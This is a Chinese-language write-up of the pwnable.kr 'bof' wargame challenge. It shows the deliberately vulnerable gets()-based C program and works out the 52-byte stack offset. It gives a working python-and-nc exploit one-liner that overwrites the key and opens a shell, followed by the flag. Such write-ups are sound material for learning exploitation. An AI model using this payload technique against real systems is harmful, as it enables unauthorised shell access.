pwnable.kr bof

同样的,既然有源代码。我们就配合着源代码来做题,这样可能更利于搞懂高级语言被反汇编之后两者之间的联系。

bof.c

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){char overflowme[32];printf("overflow me : ");gets(overflowme);   // smash me!if(key == 0xcafebabe){system("/bin/sh");}else{printf("Nah..\n");}
}
int main(int argc, char* argv[]){func(0xdeadbeef);return 0;
}

这是关于数组溢出的问题,导致这个问题的原因是由于 gets() 函数没有检查接受字符串长度导致的。有的编译器在编译源代码的时候也会提示警告。其实这个题目也是相当的简单,如果你了解栈机制的话。

我们要做的就是让输入的字符串的后面四个字节覆盖 key。其实我们要做的就是算出 overflow 数组的首地址到 key 首地址之间的距离。

gets(overflow) 是接受输入,当然是从 overflow 的首地址开始存储字节。前面的 esp (esp在汇编中为栈顶指针,栈中数据都是从栈顶进去的,所以你懂的…)存放的就是 overflow 的基址,为 ebp + s 其中 s = byte ptr - 2ch。然后 key 的基址当然要在 cmd 里面找,因为 if (key == 0x….) 所以 ebp + arg_0, 就是 key 的基址,其中 arg_0 = dword ptr 8。然后很简单的算出两者的距离为 52。所以我们在输入 0xcafebabe 之前需要填充 52 个字符。

解题:

$ (python -c "print 'a'*52 + '\xbe\xba\xfe\xca'"; cat -) | nc pwnable.kr 9000
ls
bof
bof.c
flag
log
log2
super.pl
cat flag
daddy, I just pwned a buFFer :)

*Flag:***daddy, I just pwned a buFFer :)

其实用 gdb 调试也是一样的,由于时间和精力问题,这里不继续下去,感兴趣的自己去尝试。

pwnable.kr bof相关推荐

  1. 每日一题pwnable.kr bof

    需要我们计算我们输入的位置到a1位置需要填充多少字节.然后再给a1赋值即可getshell 疑问1. 怎么确定输入的位置到a1的距离? 我刚开始想这么干,直接用这个地址相减. 但是不行,这题是覆盖变量 ...

  2. pwnable.kr 简单题目详细笔记汇总

    文章目录 fd collision bof flag passcode random input leg mistake shellshock coin1 lotto cmd1 cmd2 uaf bl ...

  3. 简单易懂的 pwnable.kr 第三题[bof]Writeupt

    简单易懂的 pwnable.kr 第三题[bof]Writeupt 题目地址:http://pwnable.kr/play.php 点开题目发现: 他给了提示覆盖,并且给了两个网址.分别打开,第一个给 ...

  4. 【pwnable.kr】 alloca

    https://www.anquanke.com/post/id/170288 前言 最近在刷pwnable.kr [Rookiss],题目都好有意思,一其中题alloca虽然分值不高,但分析过程很值 ...

  5. pwnable.kr之Toddler‘s Bottle前八题知识点记录

    pwn刷题网站地址(点击直达): http://pwnable.kr/play.php 文章目录 第一题 fd 第二题:collision 1.首先是char和int数据类型的转换 2.python实 ...

  6. 【pwnable.kr】Toddler‘s Bottle-[bof]

    目录导航 打开题目审题 nc 命令介绍 获取服务器文件 源代码分析 ELF分析构造payload 解题 打开题目审题 Nana told me that buffer overflow is one ...

  7. pwnable.kr lotto题解

    ssh lotto@pwnable.kr -p2222 (pw:guest) 题目源码: #include <stdio.h> #include <stdlib.h> #inc ...

  8. 简单易懂的 pwnable.kr 第六题[random]Writeupt

    简单易懂的 pwnable.kr 第六题[random]Writeupt 题目地址: http://pwnable.kr/play.php 题目: peak小知识 异或^ 据有如下几种性质: 2. 恒 ...

  9. 简单易懂的 pwnable.kr 第二题[collision]Writeupt

    简单易懂的 pwnable.kr 第二题[collision]Writeupt 题目地址:http://pwnable.kr/play.php 题目如下: 和第一题一样,题目给了我们一个ssh远程登录 ...

最新文章

  1. weblogic管理1——创建 和 删除一个domain
  2. python pandas爬取网页成绩表格,计算各个类别学分
  3. jre环境变量配置_详解java环境变量意思-用于解决环境搭建问题
  4. aspects_具有Aspects的Java中的Mixin –用于Scala特性示例
  5. arcgis批量按掩膜提取栅格
  6. java web service简单示例
  7. 智能会议系统(7)---实时音视频技术难点及解决方案
  8. ios php tpbase64编码,iOS Base64编码
  9. 吴恩达|机器学习作业7.0.k-means聚类
  10. 转《针对不同版本的ie调用不同css样式》
  11. Ubuntu 14.04/16.04 (使用apt-get进行安装) 安装Docker
  12. matlab butter 低通,matlab butter 用法
  13. SQL的简单增、删、改
  14. 计算机小键盘的基本知识,电脑入门——第2章_计算机键盘操作基础概述.doc
  15. Latex排版论文——傻瓜式操作一晚排出毕业论文
  16. 2022年6月少儿编程等级测试来了
  17. Docker的学习与使用
  18. 02 ElasticSearch笔记
  19. 程序员副业赚钱之道,实现月收入增加20K
  20. “因遭勒索软件攻击,我被认定工作失职开除,并被老东家索赔 21.5 万元”

热门文章

  1. 分数用计算机咋弄手机,手机计算机分数怎么打
  2. android 去了按键,【联想手机】怎样去除android系统的虚拟按键
  3. Spark 源码分析之ShuffleMapTask内存数据Spill和合并
  4. 程序员都有一颗向往“文艺”的心?
  5. 《Cocos Creator游戏实战》关卡功能实现
  6. 渗透测试及一些网络安全类的讨论社区类的整理
  7. 华为数据之道-读书笔记4
  8. 陆奇看好的创业项目,16/22 个都由 AI 驱动
  9. 如何将区块链技术应用到物联网
  10. student(sid,sname,sage,ssex) 学生表course(cid,cname,tid) 课程表sc(sid,cid,score) 成绩表teacher(tid,Tnam